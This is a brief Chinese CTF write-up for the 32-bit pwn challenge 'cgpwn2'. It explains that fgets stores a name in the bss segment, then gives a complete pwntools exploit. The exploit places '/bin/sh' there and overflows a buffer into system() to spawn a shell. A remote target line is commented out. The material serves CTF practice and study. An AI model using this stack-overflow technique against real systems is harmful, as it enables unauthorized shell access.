1.检查安全防护机制 32位
2.关键字查找
/bin/sh
注:我们有
fgets(name, 50, stdin);
我们的stdin可以写入bss段里面。
EXP
from pwn import*
elf = ELF('./cgpwn2')
context.log_level = 'debug'
p = process('./cgpwn2')
#p = remote("111.198.29.45"," 31241")
system_addr = 0x8048420
bss_addr = 0x804A080 //注意这的bss段是我们申请的name[]
p.recvuntil('name\n')
p.sendline("/bin/sh\x00")
p.recvuntil('here:\n')
payload = 'A'*42
payload += p32(system_addr)
payload += p32(0) //有点模糊为什么写入0
payload += p32(bss_addr)
p.sendline(payload)
p.interactive()